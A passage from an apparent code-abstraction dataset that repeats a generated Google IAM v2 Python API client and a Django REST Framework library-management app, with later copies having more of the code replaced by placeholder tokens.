Get.method_config = lambda : base_api.ApiMethodInfo(flat_path=\n 'v2/policies/{policiesId}/{policiesId1}/{policiesId2}/operations/{operationsId}'\n , http_method='GET', method_id='iam.policies.operations.get',\n ordered_params=['name'], path_params=['name'], query_params=[],\n relative_path='v2/{+name}', request_field='', request_type_name\n ='IamPoliciesOperationsGetRequest', response_type_name=\n 'GoogleLongrunningOperation', supports_download=False)\n\n\n class PoliciesService(base_api.BaseApiService):\n \"\"\"Service class for the policies resource.\"\"\"\n _NAME = 'policies'\n\n def __init__(self, client):\n super(IamV2.PoliciesService, self).__init__(client)\n self._upload_configs = {}\n\n def CreatePolicy(self, request, global_params=None):\n \"\"\"Creates a policy.\n\n Args:\n request: (IamPoliciesCreatePolicyRequest) input message\n global_params: (StandardQueryParameters, default: None) global arguments\n Returns:\n (GoogleLongrunningOperation) The response message.\n \"\"\"\n config = self.GetMethodConfig('CreatePolicy')\n return self._RunMethod(config, request, global_params=global_params\n )\n CreatePolicy.method_config = lambda : base_api.ApiMethodInfo(flat_path\n ='v2/policies/{policiesId}/{policiesId1}', http_method='POST',\n method_id='iam.policies.createPolicy', ordered_params=['parent'\n ], path_params=['parent'], query_params=['policyId'],\n relative_path='v2/{+parent}', request_field='googleIamV2Policy',\n request_type_name='IamPoliciesCreatePolicyRequest',\n response_type_name='GoogleLongrunningOperation',\n supports_download=False)\n\n def Delete(self, request, global_params=None):\n \"\"\"Deletes a policy. This action is permanent.\n\n Args:\n request: (IamPoliciesDeleteRequest) input message\n global_params: (StandardQueryParameters, default: None) global arguments\n Returns:\n (GoogleLongrunningOperation) The response message.\n \"\"\"\n config = self.GetMethodConfig('Delete')\n return self._RunMethod(config, request, global_params=global_params\n )\n Delete.method_config = lambda : base_api.ApiMethodInfo(flat_path=\n 'v2/policies/{policiesId}/{policiesId1}/{policiesId2}',\n http_method='DELETE', method_id='iam.policies.delete',\n ordered_params=['name'], path_params=['name'], query_params=[\n 'etag'], relative_path='v2/{+name}', request_field='',\n request_type_name='IamPoliciesDeleteRequest',\n response_type_name='GoogleLongrunningOperation',\n supports_download=False)\n\n def Get(self, request, global_params=None):\n \"\"\"Gets a policy.\n\n Args:\n request: (IamPoliciesGetRequest) input message\n global_params: (StandardQueryParameters, default: None) global arguments\n Returns:\n (GoogleIamV2Policy) The response message.\n \"\"\"\n config = self.GetMethodConfig('Get')\n return self._RunMethod(config, request, global_params=global_params\n )\n Get.method_config = lambda : base_api.ApiMethodInfo(flat_path=\n 'v2/policies/{policiesId}/{policiesId1}/{policiesId2}',\n http_method='GET', method_id='iam.policies.get', ordered_params\n =['name'], path_params=['name'], query_params=[], relative_path\n ='v2/{+name}', request_field='', request_type_name=\n 'IamPoliciesGetRequest', response_type_name='GoogleIamV2Policy',\n supports_download=False)\n\n def ListPolicies(self, request, global_params=None):\n \"\"\"Retrieves the policies of the specified kind that are attached to a resource. The response lists only policy metadata. In particular, policy rules are omitted.\n\n Args:\n request: (IamPoliciesListPoliciesRequest) input message\n global_params: (StandardQueryParameters, default: None) global arguments\n Returns:\n (GoogleIamV2ListPoliciesResponse) The response message.\n \"\"\"\n config = self.GetMethodConfig('ListPolicies')\n return self._RunMethod(config, request, global_params=global_params\n )\n ListPolicies.method_config = lambda : base_api.ApiMethodInfo(flat_path\n ='v2/policies/{policiesId}/{policiesId1}', http_method='GET',\n method_id='iam.policies.listPolicies', ordered_params=['parent'\n ], path_params=['parent'], query_params=['pageSize',\n 'pageToken'], relative_path='v2/{+parent}', request_field='',\n request_type_name='IamPoliciesListPoliciesRequest',\n response_type_name='GoogleIamV2ListPoliciesResponse',\n supports_download=False)\n\n def Update(self, request, global_params=None):\n \"\"\"Updates the specified policy. You can update only the rules and the display name for the policy. To update a policy, you should use a read-modify-write loop: 1. Use GetPolicy to read the current version of the policy. 2. Modify the policy as needed. 3. Use `UpdatePolicy` to write the updated policy. This pattern helps prevent conflicts between concurrent updates.\n\n Args:\n request: (GoogleIamV2Policy) input message\n global_params: (StandardQueryParameters, default: None) global arguments\n Returns:\n (GoogleLongrunningOperation) The response message.\n \"\"\"\n config = self.GetMethodConfig('Update')\n return self._RunMethod(config, request, global_params=global_params\n )\n Update.method_config = lambda : base_api.ApiMethodInfo(flat_path=\n 'v2/policies/{policiesId}/{policiesId1}/{policiesId2}',\n http_method='PUT', method_id='iam.policies.update',\n ordered_params=['name'], path_params=['name'], query_params=[],\n relative_path='v2/{+name}', request_field='<request>',\n request_type_name='GoogleIamV2Policy', response_type_name=\n 'GoogleLongrunningOperation', supports_download=False)\n", "<docstring token>\n<import token>\n\n\nclass IamV2(base_api.BaseApiClient):\n <docstring token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n\n def __init__(self, url='', credentials=None, get_credentials=True, http\n =None, model=None, log_request=False, log_response=False,\n credentials_args=None, default_global_params=None,\n additional_http_headers=None, response_encoding=None):\n \"\"\"Create a new iam handle.\"\"\"\n url = url or self.BASE_URL\n super(IamV2, self).__init__(url, credentials=credentials,\n get_credentials=get_credentials, http=http, model=model,\n log_request=log_request, log_response=log_response,\n credentials_args=credentials_args, default_global_params=\n default_global_params, additional_http_headers=\n additional_http_headers, response_encoding=response_encoding)\n self.policies_operations = self.PoliciesOperationsService(self)\n self.policies = self.PoliciesService(self)\n\n\n class PoliciesOperationsService(base_api.BaseApiService):\n \"\"\"Service class for the policies_operations resource.\"\"\"\n _NAME = 'policies_operations'\n\n def __init__(self, client):\n super(IamV2.PoliciesOperationsService, self).__init__(client)\n self._upload_configs = {}\n\n def Get(self, request, global_params=None):\n \"\"\"Gets the latest state of a long-running operation. Clients can use this method to poll the operation result at intervals as recommended by the API service.\n\n Args:\n request: (IamPoliciesOperationsGetRequest) input message\n global_params: (StandardQueryParameters, default: None) global arguments\n Returns:\n (GoogleLongrunningOperation) The response message.\n \"\"\"\n config = self.GetMethodConfig('Get')\n return self._RunMethod(config, request, global_params=global_params\n )\n Get.method_config = lambda : base_api.ApiMethodInfo(flat_path=\n 'v2/policies/{policiesId}/{policiesId1}/{policiesId2}/operations/{operationsId}'\n , http_method='GET', method_id='iam.policies.operations.get',\n ordered_params=['name'], path_params=['name'], query_params=[],\n relative_path='v2/{+name}', request_field='', request_type_name\n ='IamPoliciesOperationsGetRequest', response_type_name=\n 'GoogleLongrunningOperation', supports_download=False)\n\n\n class PoliciesService(base_api.BaseApiService):\n \"\"\"Service class for the policies resource.\"\"\"\n _NAME = 'policies'\n\n def __init__(self, client):\n super(IamV2.PoliciesService, self).__init__(client)\n self._upload_configs = {}\n\n def CreatePolicy(self, request, global_params=None):\n \"\"\"Creates a policy.\n\n Args:\n request: (IamPoliciesCreatePolicyRequest) input message\n global_params: (StandardQueryParameters, default: None) global arguments\n Returns:\n (GoogleLongrunningOperation) The response message.\n \"\"\"\n config = self.GetMethodConfig('CreatePolicy')\n return self._RunMethod(config, request, global_params=global_params\n )\n CreatePolicy.method_config = lambda : base_api.ApiMethodInfo(flat_path\n ='v2/policies/{policiesId}/{policiesId1}', http_method='POST',\n method_id='iam.policies.createPolicy', ordered_params=['parent'\n ], path_params=['parent'], query_params=['policyId'],\n relative_path='v2/{+parent}', request_field='googleIamV2Policy',\n request_type_name='IamPoliciesCreatePolicyRequest',\n response_type_name='GoogleLongrunningOperation',\n supports_download=False)\n\n def Delete(self, request, global_params=None):\n \"\"\"Deletes a policy. This action is permanent.\n\n Args:\n request: (IamPoliciesDeleteRequest) input message\n global_params: (StandardQueryParameters, default: None) global arguments\n Returns:\n (GoogleLongrunningOperation) The response message.\n \"\"\"\n config = self.GetMethodConfig('Delete')\n return self._RunMethod(config, request, global_params=global_params\n )\n Delete.method_config = lambda : base_api.ApiMethodInfo(flat_path=\n 'v2/policies/{policiesId}/{policiesId1}/{policiesId2}',\n http_method='DELETE', method_id='iam.policies.delete',\n ordered_params=['name'], path_params=['name'], query_params=[\n 'etag'], relative_path='v2/{+name}', request_field='',\n request_type_name='IamPoliciesDeleteRequest',\n response_type_name='GoogleLongrunningOperation',\n supports_download=False)\n\n def Get(self, request, global_params=None):\n \"\"\"Gets a policy.\n\n Args:\n request: (IamPoliciesGetRequest) input message\n global_params: (StandardQueryParameters, default: None) global arguments\n Returns:\n (GoogleIamV2Policy) The response message.\n \"\"\"\n config = self.GetMethodConfig('Get')\n return self._RunMethod(config, request, global_params=global_params\n )\n Get.method_config = lambda : base_api.ApiMethodInfo(flat_path=\n 'v2/policies/{policiesId}/{policiesId1}/{policiesId2}',\n http_method='GET', method_id='iam.policies.get', ordered_params\n =['name'], path_params=['name'], query_params=[], relative_path\n ='v2/{+name}', request_field='', request_type_name=\n 'IamPoliciesGetRequest', response_type_name='GoogleIamV2Policy',\n supports_download=False)\n\n def ListPolicies(self, request, global_params=None):\n \"\"\"Retrieves the policies of the specified kind that are attached to a resource. The response lists only policy metadata. In particular, policy rules are omitted.\n\n Args:\n request: (IamPoliciesListPoliciesRequest) input message\n global_params: (StandardQueryParameters, default: None) global arguments\n Returns:\n (GoogleIamV2ListPoliciesResponse) The response message.\n \"\"\"\n config = self.GetMethodConfig('ListPolicies')\n return self._RunMethod(config, request, global_params=global_params\n )\n ListPolicies.method_config = lambda : base_api.ApiMethodInfo(flat_path\n ='v2/policies/{policiesId}/{policiesId1}', http_method='GET',\n method_id='iam.policies.listPolicies', ordered_params=['parent'\n ], path_params=['parent'], query_params=['pageSize',\n 'pageToken'], relative_path='v2/{+parent}', request_field='',\n request_type_name='IamPoliciesListPoliciesRequest',\n response_type_name='GoogleIamV2ListPoliciesResponse',\n supports_download=False)\n\n def Update(self, request, global_params=None):\n \"\"\"Updates the specified policy. You can update only the rules and the display name for the policy. To update a policy, you should use a read-modify-write loop: 1. Use GetPolicy to read the current version of the policy. 2. Modify the policy as needed. 3. Use `UpdatePolicy` to write the updated policy. This pattern helps prevent conflicts between concurrent updates.\n\n Args:\n request: (GoogleIamV2Policy) input message\n global_params: (StandardQueryParameters, default: None) global arguments\n Returns:\n (GoogleLongrunningOperation) The response message.\n \"\"\"\n config = self.GetMethodConfig('Update')\n return self._RunMethod(config, request, global_params=global_params\n )\n Update.method_config = lambda : base_api.ApiMethodInfo(flat_path=\n 'v2/policies/{policiesId}/{policiesId1}/{policiesId2}',\n http_method='PUT', method_id='iam.policies.update',\n ordered_params=['name'], path_params=['name'], query_params=[],\n relative_path='v2/{+name}', request_field='<request>',\n request_type_name='GoogleIamV2Policy', response_type_name=\n 'GoogleLongrunningOperation', supports_download=False)\n", "<docstring token>\n<import token>\n\n\nclass IamV2(base_api.BaseApiClient):\n <docstring token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <function token>\n\n\n class PoliciesOperationsService(base_api.BaseApiService):\n \"\"\"Service class for the policies_operations resource.\"\"\"\n _NAME = 'policies_operations'\n\n def __init__(self, client):\n super(IamV2.PoliciesOperationsService, self).__init__(client)\n self._upload_configs = {}\n\n def Get(self, request, global_params=None):\n \"\"\"Gets the latest state of a long-running operation. Clients can use this method to poll the operation result at intervals as recommended by the API service.\n\n Args:\n request: (IamPoliciesOperationsGetRequest) input message\n global_params: (StandardQueryParameters, default: None) global arguments\n Returns:\n (GoogleLongrunningOperation) The response message.\n \"\"\"\n config = self.GetMethodConfig('Get')\n return self._RunMethod(config, request, global_params=global_params\n )\n Get.method_config = lambda : base_api.ApiMethodInfo(flat_path=\n 'v2/policies/{policiesId}/{policiesId1}/{policiesId2}/operations/{operationsId}'\n , http_method='GET', method_id='iam.policies.operations.get',\n ordered_params=['name'], path_params=['name'], query_params=[],\n relative_path='v2/{+name}', request_field='', request_type_name\n ='IamPoliciesOperationsGetRequest', response_type_name=\n 'GoogleLongrunningOperation', supports_download=False)\n\n\n class PoliciesService(base_api.BaseApiService):\n \"\"\"Service class for the policies resource.\"\"\"\n _NAME = 'policies'\n\n def __init__(self, client):\n super(IamV2.PoliciesService, self).__init__(client)\n self._upload_configs = {}\n\n def CreatePolicy(self, request, global_params=None):\n \"\"\"Creates a policy.\n\n Args:\n request: (IamPoliciesCreatePolicyRequest) input message\n global_params: (StandardQueryParameters, default: None) global arguments\n Returns:\n (GoogleLongrunningOperation) The response message.\n \"\"\"\n config = self.GetMethodConfig('CreatePolicy')\n return self._RunMethod(config, request, global_params=global_params\n )\n CreatePolicy.method_config = lambda : base_api.ApiMethodInfo(flat_path\n ='v2/policies/{policiesId}/{policiesId1}', http_method='POST',\n method_id='iam.policies.createPolicy', ordered_params=['parent'\n ], path_params=['parent'], query_params=['policyId'],\n relative_path='v2/{+parent}', request_field='googleIamV2Policy',\n request_type_name='IamPoliciesCreatePolicyRequest',\n response_type_name='GoogleLongrunningOperation',\n supports_download=False)\n\n def Delete(self, request, global_params=None):\n \"\"\"Deletes a policy. This action is permanent.\n\n Args:\n request: (IamPoliciesDeleteRequest) input message\n global_params: (StandardQueryParameters, default: None) global arguments\n Returns:\n (GoogleLongrunningOperation) The response message.\n \"\"\"\n config = self.GetMethodConfig('Delete')\n return self._RunMethod(config, request, global_params=global_params\n )\n Delete.method_config = lambda : base_api.ApiMethodInfo(flat_path=\n 'v2/policies/{policiesId}/{policiesId1}/{policiesId2}',\n http_method='DELETE', method_id='iam.policies.delete',\n ordered_params=['name'], path_params=['name'], query_params=[\n 'etag'], relative_path='v2/{+name}', request_field='',\n request_type_name='IamPoliciesDeleteRequest',\n response_type_name='GoogleLongrunningOperation',\n supports_download=False)\n\n def Get(self, request, global_params=None):\n \"\"\"Gets a policy.\n\n Args:\n request: (IamPoliciesGetRequest) input message\n global_params: (StandardQueryParameters, default: None) global arguments\n Returns:\n (GoogleIamV2Policy) The response message.\n \"\"\"\n config = self.GetMethodConfig('Get')\n return self._RunMethod(config, request, global_params=global_params\n )\n Get.method_config = lambda : base_api.ApiMethodInfo(flat_path=\n 'v2/policies/{policiesId}/{policiesId1}/{policiesId2}',\n http_method='GET', method_id='iam.policies.get', ordered_params\n =['name'], path_params=['name'], query_params=[], relative_path\n ='v2/{+name}', request_field='', request_type_name=\n 'IamPoliciesGetRequest', response_type_name='GoogleIamV2Policy',\n supports_download=False)\n\n def ListPolicies(self, request, global_params=None):\n \"\"\"Retrieves the policies of the specified kind that are attached to a resource. The response lists only policy metadata. In particular, policy rules are omitted.\n\n Args:\n request: (IamPoliciesListPoliciesRequest) input message\n global_params: (StandardQueryParameters, default: None) global arguments\n Returns:\n (GoogleIamV2ListPoliciesResponse) The response message.\n \"\"\"\n config = self.GetMethodConfig('ListPolicies')\n return self._RunMethod(config, request, global_params=global_params\n )\n ListPolicies.method_config = lambda : base_api.ApiMethodInfo(flat_path\n ='v2/policies/{policiesId}/{policiesId1}', http_method='GET',\n method_id='iam.policies.listPolicies', ordered_params=['parent'\n ], path_params=['parent'], query_params=['pageSize',\n 'pageToken'], relative_path='v2/{+parent}', request_field='',\n request_type_name='IamPoliciesListPoliciesRequest',\n response_type_name='GoogleIamV2ListPoliciesResponse',\n supports_download=False)\n\n def Update(self, request, global_params=None):\n \"\"\"Updates the specified policy. You can update only the rules and the display name for the policy. To update a policy, you should use a read-modify-write loop: 1. Use GetPolicy to read the current version of the policy. 2. Modify the policy as needed. 3. Use `UpdatePolicy` to write the updated policy. This pattern helps prevent conflicts between concurrent updates.\n\n Args:\n request: (GoogleIamV2Policy) input message\n global_params: (StandardQueryParameters, default: None) global arguments\n Returns:\n (GoogleLongrunningOperation) The response message.\n \"\"\"\n config = self.GetMethodConfig('Update')\n return self._RunMethod(config, request, global_params=global_params\n )\n Update.method_config = lambda : base_api.ApiMethodInfo(flat_path=\n 'v2/policies/{policiesId}/{policiesId1}/{policiesId2}',\n http_method='PUT', method_id='iam.policies.update',\n ordered_params=['name'], path_params=['name'], query_params=[],\n relative_path='v2/{+name}', request_field='<request>',\n request_type_name='GoogleIamV2Policy', response_type_name=\n 'GoogleLongrunningOperation', supports_download=False)\n", "<docstring token>\n<import token>\n<class token>\n" ]

[ "from datetime import datetime, timedelta\nfrom django.shortcuts import render\nfrom rest_framework import viewsets, status\nfrom rest_framework.authtoken.views import ObtainAuthToken\nfrom rest_framework.authtoken.models import Token\nfrom rest_framework.response import Response\nfrom rest_framework.authentication import TokenAuthentication\nfrom rest_framework.permissions import IsAdminUser\nfrom .models import Book, Borrower, IssueSlip\nfrom .permissions import (\n ReadBookPermission,\n ReadUpdateStudentPermission,\n ReadUpdateTeacherPermission\n)\nfrom .serializers import (\n BookSerializer,\n BookDetailSerializer,\n BorrowerSerializer,\n BorrowerDetailSerializer,\n IssueSlipSerializer\n)\n\n# def ObjectInactive(self, request, pk):\n# object = self.get_object()\n# object.is_active = False\n# object.save()\n# return Response(\"{'message':'Deleted'}\",status=status.HTTP_200_OK)\n\nclass HomePage:\n\n def index(request):\n return render(request, 'index.html')\n\nclass CustomAuthToken(ObtainAuthToken):\n\n\n def post(self, request, *args, **kwargs):\n serializer = self.serializer_class(data=request.data,\n context={'request': request})\n serializer.is_valid(raise_exception=True)\n user = serializer.validated_data['user']\n token, created = Token.objects.get_or_create(user=user)\n return Response({\n 'token': token.key,\n 'user_id': user.pk,\n 'email': user.email\n })\n\nclass BookViewSet(viewsets.ModelViewSet):\n\n authentication_classes = (TokenAuthentication,)\n permission_classes = (ReadBookPermission,)\n queryset = Book.objects.all()\n \n def get_serializer_class(self):\n\n if hasattr(self, 'action') and self.action == 'list': \n return BookSerializer\n\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BookDetailSerializer\n \n return BookDetailSerializer\n \n def destroy(self, request, pk):\n book = self.get_object()\n book.is_active = False\n book.is_available = False\n book.save()\n return Response(\"{'message':'Deleted'}\",status=status.HTTP_200_OK)\n\nclass StudentViewSet(viewsets.ModelViewSet):\n\n queryset = Borrower.objects.filter(borrower_type__iexact='S')\n authentication_classes = (TokenAuthentication,)\n permission_classes = (ReadUpdateStudentPermission,)\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list': \n return BorrowerSerializer\n\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n\n return BorrowerDetailSerializer\n\n def destroy(self, request, pk):\n student = self.get_object()\n student.is_active = False\n student.save()\n return Response(\"{'message':'Deleted'}\",status=status.HTTP_200_OK)\n\nclass TeacherViewSet(viewsets.ModelViewSet):\n\n queryset = Borrower.objects.filter(borrower_type__iexact='T')\n authentication_classes = (TokenAuthentication,)\n permission_classes = (ReadUpdateTeacherPermission,)\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list': \n return BorrowerSerializer\n\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n\n return BorrowerDetailSerializer\n\n def destroy(self, request, pk):\n teacher = self.get_object()\n teacher.is_active = False\n teacher.save()\n return Response(\"{'message':'Deleted'}\",status=status.HTTP_200_OK)\n\nclass BorrowerViewSet(viewsets.ModelViewSet):\n\n queryset = Borrower.objects.all()\n authentication_classes = (TokenAuthentication,)\n permission_classes = (IsAdminUser,)\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BorrowerSerializer\n\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n\n return BorrowerDetailSerializer\n\nclass IssueSlipViewSet(viewsets.ModelViewSet):\n\n queryset = IssueSlip.objects.all()\n authentication_classes = (TokenAuthentication,)\n permission_classes = (IsAdminUser),\n serializer_class = IssueSlipSerializer\n\n\n def create(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n self.perform_create(serializer)\n return Response({'msg': 'The Book has been issued'}, status=status.HTTP_201_CREATED)\n \n def partial_update(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n issue_object = IssueSlip.objects.get(id=kwargs['pk'])\n book_object = Book.objects.get(id=issue_object.book_id)\n borrower_object = Borrower.objects.get(id=issue_object.borrower_id)\n book_object.is_available = True\n borrower_object.issue_count -= 1\n book_object.save()\n borrower_object.save()\n actual_return_date = datetime.now().replace(second=0, microsecond=0)\n if issue_object.due_date >= actual_return_date: \n request.data['actual_return_date'] = actual_return_date\n self.update(request, *args, **kwargs) \n return Response({'msg': 'You have no fine to pay'}, status=status.HTTP_200_OK)\n else:\n elapsed_time = actual_return_date - issue_object.due_date\n fine_amount = elapsed_time.seconds//60\n request.data['actual_return_date'] = actual_return_date\n request.data['fine_amount'] = fine_amount \n self.update(request, *args, **kwargs)\n return Response({'msg': 'You have a fine to pay', 'fine': fine_amount}, status=status.HTTP_200_OK)\n\n# def list(self, request):\n# pass\n\n# def create(self, request):\n# pass\n\n# def retrieve(self, request, pk=None):\n# pass\n\n# def update(self, request, pk=None):\n# pass\n\n# def partial_update(self, request, pk=None):\n# pass\n\n# def destroy(self, request, pk=None):\n# pass", "from datetime import datetime, timedelta\nfrom django.shortcuts import render\nfrom rest_framework import viewsets, status\nfrom rest_framework.authtoken.views import ObtainAuthToken\nfrom rest_framework.authtoken.models import Token\nfrom rest_framework.response import Response\nfrom rest_framework.authentication import TokenAuthentication\nfrom rest_framework.permissions import IsAdminUser\nfrom .models import Book, Borrower, IssueSlip\nfrom .permissions import ReadBookPermission, ReadUpdateStudentPermission, ReadUpdateTeacherPermission\nfrom .serializers import BookSerializer, BookDetailSerializer, BorrowerSerializer, BorrowerDetailSerializer, IssueSlipSerializer\n\n\nclass HomePage:\n\n def index(request):\n return render(request, 'index.html')\n\n\nclass CustomAuthToken(ObtainAuthToken):\n\n def post(self, request, *args, **kwargs):\n serializer = self.serializer_class(data=request.data, context={\n 'request': request})\n serializer.is_valid(raise_exception=True)\n user = serializer.validated_data['user']\n token, created = Token.objects.get_or_create(user=user)\n return Response({'token': token.key, 'user_id': user.pk, 'email':\n user.email})\n\n\nclass BookViewSet(viewsets.ModelViewSet):\n authentication_classes = TokenAuthentication,\n permission_classes = ReadBookPermission,\n queryset = Book.objects.all()\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BookSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BookDetailSerializer\n return BookDetailSerializer\n\n def destroy(self, request, pk):\n book = self.get_object()\n book.is_active = False\n book.is_available = False\n book.save()\n return Response(\"{'message':'Deleted'}\", status=status.HTTP_200_OK)\n\n\nclass StudentViewSet(viewsets.ModelViewSet):\n queryset = Borrower.objects.filter(borrower_type__iexact='S')\n authentication_classes = TokenAuthentication,\n permission_classes = ReadUpdateStudentPermission,\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BorrowerSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n return BorrowerDetailSerializer\n\n def destroy(self, request, pk):\n student = self.get_object()\n student.is_active = False\n student.save()\n return Response(\"{'message':'Deleted'}\", status=status.HTTP_200_OK)\n\n\nclass TeacherViewSet(viewsets.ModelViewSet):\n queryset = Borrower.objects.filter(borrower_type__iexact='T')\n authentication_classes = TokenAuthentication,\n permission_classes = ReadUpdateTeacherPermission,\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BorrowerSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n return BorrowerDetailSerializer\n\n def destroy(self, request, pk):\n teacher = self.get_object()\n teacher.is_active = False\n teacher.save()\n return Response(\"{'message':'Deleted'}\", status=status.HTTP_200_OK)\n\n\nclass BorrowerViewSet(viewsets.ModelViewSet):\n queryset = Borrower.objects.all()\n authentication_classes = TokenAuthentication,\n permission_classes = IsAdminUser,\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BorrowerSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n return BorrowerDetailSerializer\n\n\nclass IssueSlipViewSet(viewsets.ModelViewSet):\n queryset = IssueSlip.objects.all()\n authentication_classes = TokenAuthentication,\n permission_classes = IsAdminUser,\n serializer_class = IssueSlipSerializer\n\n def create(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n self.perform_create(serializer)\n return Response({'msg': 'The Book has been issued'}, status=status.\n HTTP_201_CREATED)\n\n def partial_update(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n issue_object = IssueSlip.objects.get(id=kwargs['pk'])\n book_object = Book.objects.get(id=issue_object.book_id)\n borrower_object = Borrower.objects.get(id=issue_object.borrower_id)\n book_object.is_available = True\n borrower_object.issue_count -= 1\n book_object.save()\n borrower_object.save()\n actual_return_date = datetime.now().replace(second=0, microsecond=0)\n if issue_object.due_date >= actual_return_date:\n request.data['actual_return_date'] = actual_return_date\n self.update(request, *args, **kwargs)\n return Response({'msg': 'You have no fine to pay'}, status=\n status.HTTP_200_OK)\n else:\n elapsed_time = actual_return_date - issue_object.due_date\n fine_amount = elapsed_time.seconds // 60\n request.data['actual_return_date'] = actual_return_date\n request.data['fine_amount'] = fine_amount\n self.update(request, *args, **kwargs)\n return Response({'msg': 'You have a fine to pay', 'fine':\n fine_amount}, status=status.HTTP_200_OK)\n", "<import token>\n\n\nclass HomePage:\n\n def index(request):\n return render(request, 'index.html')\n\n\nclass CustomAuthToken(ObtainAuthToken):\n\n def post(self, request, *args, **kwargs):\n serializer = self.serializer_class(data=request.data, context={\n 'request': request})\n serializer.is_valid(raise_exception=True)\n user = serializer.validated_data['user']\n token, created = Token.objects.get_or_create(user=user)\n return Response({'token': token.key, 'user_id': user.pk, 'email':\n user.email})\n\n\nclass BookViewSet(viewsets.ModelViewSet):\n authentication_classes = TokenAuthentication,\n permission_classes = ReadBookPermission,\n queryset = Book.objects.all()\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BookSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BookDetailSerializer\n return BookDetailSerializer\n\n def destroy(self, request, pk):\n book = self.get_object()\n book.is_active = False\n book.is_available = False\n book.save()\n return Response(\"{'message':'Deleted'}\", status=status.HTTP_200_OK)\n\n\nclass StudentViewSet(viewsets.ModelViewSet):\n queryset = Borrower.objects.filter(borrower_type__iexact='S')\n authentication_classes = TokenAuthentication,\n permission_classes = ReadUpdateStudentPermission,\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BorrowerSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n return BorrowerDetailSerializer\n\n def destroy(self, request, pk):\n student = self.get_object()\n student.is_active = False\n student.save()\n return Response(\"{'message':'Deleted'}\", status=status.HTTP_200_OK)\n\n\nclass TeacherViewSet(viewsets.ModelViewSet):\n queryset = Borrower.objects.filter(borrower_type__iexact='T')\n authentication_classes = TokenAuthentication,\n permission_classes = ReadUpdateTeacherPermission,\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BorrowerSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n return BorrowerDetailSerializer\n\n def destroy(self, request, pk):\n teacher = self.get_object()\n teacher.is_active = False\n teacher.save()\n return Response(\"{'message':'Deleted'}\", status=status.HTTP_200_OK)\n\n\nclass BorrowerViewSet(viewsets.ModelViewSet):\n queryset = Borrower.objects.all()\n authentication_classes = TokenAuthentication,\n permission_classes = IsAdminUser,\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BorrowerSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n return BorrowerDetailSerializer\n\n\nclass IssueSlipViewSet(viewsets.ModelViewSet):\n queryset = IssueSlip.objects.all()\n authentication_classes = TokenAuthentication,\n permission_classes = IsAdminUser,\n serializer_class = IssueSlipSerializer\n\n def create(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n self.perform_create(serializer)\n return Response({'msg': 'The Book has been issued'}, status=status.\n HTTP_201_CREATED)\n\n def partial_update(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n issue_object = IssueSlip.objects.get(id=kwargs['pk'])\n book_object = Book.objects.get(id=issue_object.book_id)\n borrower_object = Borrower.objects.get(id=issue_object.borrower_id)\n book_object.is_available = True\n borrower_object.issue_count -= 1\n book_object.save()\n borrower_object.save()\n actual_return_date = datetime.now().replace(second=0, microsecond=0)\n if issue_object.due_date >= actual_return_date:\n request.data['actual_return_date'] = actual_return_date\n self.update(request, *args, **kwargs)\n return Response({'msg': 'You have no fine to pay'}, status=\n status.HTTP_200_OK)\n else:\n elapsed_time = actual_return_date - issue_object.due_date\n fine_amount = elapsed_time.seconds // 60\n request.data['actual_return_date'] = actual_return_date\n request.data['fine_amount'] = fine_amount\n self.update(request, *args, **kwargs)\n return Response({'msg': 'You have a fine to pay', 'fine':\n fine_amount}, status=status.HTTP_200_OK)\n", "<import token>\n\n\nclass HomePage:\n <function token>\n\n\nclass CustomAuthToken(ObtainAuthToken):\n\n def post(self, request, *args, **kwargs):\n serializer = self.serializer_class(data=request.data, context={\n 'request': request})\n serializer.is_valid(raise_exception=True)\n user = serializer.validated_data['user']\n token, created = Token.objects.get_or_create(user=user)\n return Response({'token': token.key, 'user_id': user.pk, 'email':\n user.email})\n\n\nclass BookViewSet(viewsets.ModelViewSet):\n authentication_classes = TokenAuthentication,\n permission_classes = ReadBookPermission,\n queryset = Book.objects.all()\n\n def 